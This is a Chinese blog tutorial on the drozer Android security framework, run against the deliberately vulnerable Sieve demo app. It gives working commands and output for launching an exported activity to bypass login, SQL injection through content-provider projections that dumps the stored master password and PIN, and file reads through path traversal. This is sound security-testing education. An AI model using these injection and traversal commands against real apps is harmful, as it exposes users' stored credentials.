drozer-Android安全测试基本使用教程(Windows10)_drozer官网

adb install 安装路径/sieve.apk



> 
> sieve.apk为官网给的测试apk,上面自带各种漏洞,后面的案例以sieve.apk为例演示
> 
> 
> 


### 二、开始drozer之旅


#### 2.1 启动session


现在我们已经配好了PC端的drozer环境,以及在手机上安装了drozer agent。但是我们需要将这两者之间联系起来建立通信,我们可以使用嵌入在drozer agen中的服务器来完成此操作。首先,我们需要设置一个合适的端口,以便我们的PC可以连接到由模拟器内部的代理,或手机上的代理。默认情况下,drozer使用端口31415:


现在,启动drozer agent,点击【 Embedded Server】,点击【Enable】启动服务器。能看到服务器启动的通知。   
 ![这里写图片描述](https://img-blog.csdn.net/20180612144554456?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppYW5nbGlhbnllMjE=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)


![这里写图片描述](https://img-blog.csdn.net/20180612144602603?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppYW5nbGlhbnllMjE=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)


在终端(cmd)中输入:



adb forward tcp:31415 tcp:31415


![这里写图片描述](https://img-blog.csdn.net/20180612143810191?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppYW5nbGlhbnllMjE=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)


然后,在PC上,使用drozer控制台进行连接:



$ drozer console connect


因为我们是Windows10版本,需要通过以下方式进行连接:



1、进入drozer安装目录
2、运行drozer.bat console connect


![这里写图片描述](https://img-blog.csdn.net/20180612145115454?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppYW5nbGlhbnllMjE=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)



> 
> 为什么我们要先进入drozer目录,因为如果我们直接运行“安装目录/drozer.bat console connect”,极有可能会出现“unknown module: ‘app.package.list’”,为了避免麻烦,我们直接进入drozer安装目录
> 
> 
> 


#### 2.2 使用drozer进行安全评估


##### 2.2.1 配置sieze


1、前面我们在手机端安装了Sieve.apk,为了我们后面的安全案例讲解,我们需要先配置Sieve。   
 (1)安装好后,打开sieve,第一次进入需要输入16位的密码和确认密码,提交后需要创建4位数的PIN(我的密码为1234567890123456,PIN为1234)   
 (2)输入PIN后进入“Your Passwords”页面,添加某些应用的密码   
 然后进入了下面页面:   
 ![这里写图片描述](https://img-blog.csdn.net/20180612145710639?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppYW5nbGlhbnllMjE=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)



> 
> 一定要记住开始设置的16位密码和PIN,这个是不可改的
> 
> 
> 


(3)在sieve中添加“Your Passwords”,可添加多个,后面测试跳过登录直接进入这个页面有用   
 ![这里写图片描述](https://img-blog.csdn.net/20180612145854104?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppYW5nbGlhbnllMjE=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)


##### 2.2.2 基本命令的使用


1、检索包的包名:run app.package.list -f (安装后的app名称)



dz> run app.package.list -f sieve
com.mwr.example.sieve (Sieve)


2、查看包的详细信息:app.package.info   
 包含的内容有:版本号,数据存放在手机上的路径,安装时关于应用程序允许的权限的详细信息。



dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Application Label: Sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/user/0/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-SUwLMRYMpLSx46cH5qdr1A==/base.apk
UID: 10223
GID: [3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:

  • android.permission.READ_EXTERNAL_STORAGE
  • android.permission.WRITE_EXTERNAL_STORAGE
  • android.permission.INTERNET
    Defines Permissions:
  • com.mwr.example.sieve.READ_KEYS
  • com.mwr.example.sieve.WRITE_KEYS

3、识别攻击面   
 在此,我们将只考虑通过Android的内置机制的进程间通信(IPC)暴露漏洞。这些漏洞通常导致敏感数据泄漏到安装在同一设备上的其他应用程序。


我们可以通过drozer报告sieze的攻击面:



dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable


上面结果说明我们有很多潜在的问题,这个app上的 ‘exports’ 有的几个让其他应用程序可以访问的activities(应用程序使用的屏幕)、内容提供者(数据库对象)、服务(后台工作者)。同时有一点,该服务是可调试的,这意味着我们可以使用ADB逐步通过代码将调试器附加到进程。


4、启用页面的activity:Launching Activities   
 通过 app.activity.info 我们可以知道哪些activity是可以导出的



dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
Permission: null
com.mwr.example.sieve.MainLoginActivity
Permission: null
com.mwr.example.sieve.PWList
Permission: null


只有启动页是我们希望有的activity,其余两个都不希望有,因为这些activity是可以导出的,而不需要任何许可(如登录时输入密码),我们可以通过drozer启动它,如下:



dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList


![这里写图片描述](https://img-blog.csdn.net/20180612153239206?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppYW5nbGlhbnllMjE=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)


当调用 `app.activity.start`可以构建更复杂的用途,与所有的drozer模块一样,你可以请求更多的使用信息:



dz> help app.activity.start
usage: run app.activity.start [-h] [–action ACTION] [–category CATEGORY [CATEGORY …]]
[–component PACKAGE COMPONENT] [–data-uri DATA_URI]
[–extra TYPE KEY VALUE] [–flags FLAGS [FLAGS …]]
[–mimetype MIMETYPE]
Starts an Activity using the formulated intent.
Examples:
Start the Browser with an explicit intent:

dz> run app.activity.start
            --component com.android.browser
                        com.android.browser.BrowserActivity
            --flags ACTIVITY\_NEW\_TASK

If no flags are specified, drozer will add the ACTIVITY_NEW_TASK flag. To launch an activity with no flags:
dz> run app.activity.start
–component com.android.browser
com.android.browser.BrowserActivity
–flags 0x0
Starting the Browser with an implicit intent:

dz> run app.activity.start
            --action android.intent.action.VIEW
            --data-uri http://www.google.com
            --flags ACTIVITY\_NEW\_TASK

For more information on how to formulate an Intent, type ‘help intents’.
Last Modified: 2012-11-06
Credit: MWR InfoSecurity (@mwrlabs)
License: BSD (3 clause)
optional arguments:
-h, --help
–action ACTION specify the action to include in the Intent
–category CATEGORY [CATEGORY …]
specify the category to include in the Intent
–component PACKAGE COMPONENT
specify the component name to include in the Intent
–data-uri DATA_URI specify a Uri to attach as data in the Intent
–extra TYPE KEY VALUE
add an field to the Intent’s extras bundle
–flags FLAGS [FLAGS …]
specify one-or-more flags to include in the Intent
–mimetype MIMETYPE specify the MIME type to send in the Intent


5、从内容提供者读取   
 接下来,我们可以收集有关应用程序可导出的内容提供者的更多信息。



dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False


这儿显示了前面攻击的两个可导出的内容提供者   
 (1)Database-backed Content Providers (数据泄露)   
 drozer提供了一个扫描模块,它汇集了各种猜测路径,并列出了一个可访问的列表,可扫描出哪些



dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve…
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider/
Unable to Query content://com.mwr.example.sieve.DBContentProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords/
Able to Query content://com.mwr.example.sieve.DBContentProvider/Keys/
Unable to Query content://com.mwr.example.sieve.FileBackupProvider
Able to Query content://com.mwr.example.sieve.DBContentProvider/Passwords
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys

Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/


(2)现在我们可以使用其他的drozer模块从这些内容URI中检索信息,甚至修改数据库中的数据:   
 查询数据库中的信息:



dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id 1
service test
username test
password vu3sfOq5TXnQd1tHYSJMwj7TahthJhA= (Base64-encoded)
email 12346@qq.com


6、Database-backed Content Providers (sql注入)   
 android平台促进使用SQLite数据库来存储用户数据。由于这些数据库使用SQL,对于SQL注入来说,它们很容易受到攻击,。通过操作传递到的投影和选择字段来测试SQL注入是很简单的。



dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection “'”
unrecognized token: “’ FROM Passwords” (Sqlite code 1): , while compiling: SELECT ’ FROM Passwords, (OS error - 11:Try again)


Android返回一个非常冗长的错误消息,显示它试图执行的整个查询。我们可以充分利用这个漏洞来列出数据库中的所有表:



dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection “* FROM SQLITE_MASTER WHERE type=‘table’;–”
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) |
| table | Passwords | Passwords | 4 | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
| table | Key | Key | 5 | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT ) |

dz>


或查询其他受保护的表



dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection “* FROM Key;–”
| Password | pin |
| 1234567890123456 | 1234 |


7、File System-backed Content Providers   
 内容提供者可以提供对底层文件系统的访问。这允许应用程序共享文件,其中Android沙箱会阻止它。   
 因为我们可以合理地假设FileBackupProvider 提供是一个文件系统支持的内容提供者,并且PATH组件表示要打开的文件的位置,所以我们可以很容易地猜出内容URI。   
 使用drozer模块读取文件:



dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
::1 ip6-localhost


读取/etc/hosts文件并不是一个大问题(无论如何它都是可读的),但是在第前面发现了应用程序的数据目录的路径,我们可以去获取更敏感的信息:



dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
/data/com.mwr.example.sieve/databases/database.db /home/user/database.db



> 
> 这个案例我未执行通过,提示“run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data”,如果有哪位同行执行通过了,希望能告诉我
> 
> 
> 


8、检查Content Provider的脆弱性   
 我们已经看到,内容提供者对SQL注入和目录遍历都是脆弱的。drozeroffers 模块自动测试这些漏洞的简单情况:



dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve…
Not Vulnerable:
content://com.mwr.example.sieve.DBContentProvider/Keys
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.FileBackupProvider

Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/


9、服务交互   
 到目前为止,我们几乎破坏了筛子。我们已经提取了用户的主密码,以及一些与他们的服务密码相关的密码文本。这很好,但是我们可以通过它导出的服务完全妥协。


## drozer基本命令


### 1、获取App Package信息


drozer每个模块的作用:   
 ![这里写图片描述](https://img-blog.csdn.net/20180612164219874?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L2ppYW5nbGlhbnllMjE=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)   
 1、获取App包信息的模块是**app.package.\*** :



dz> cd app
dz#app> cd package
dz#app.package> ls
app.package.attacksurface Get attack surface of package
app.package.backup Lists packages that use the backup API (returns true on FLAG_ALLOW_BACKUP)
app.package.debuggable Find debuggable packages
app.package.info Get information about installed packages
app.package.launchintent Get launch intent of package
app.package.list List Packages
app.package.manifest Get AndroidManifest.xml of package
app.package.native Find Native libraries embedded in the application.
app.package.shareduid Look for packages with shared UIDs

dz#app.package>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值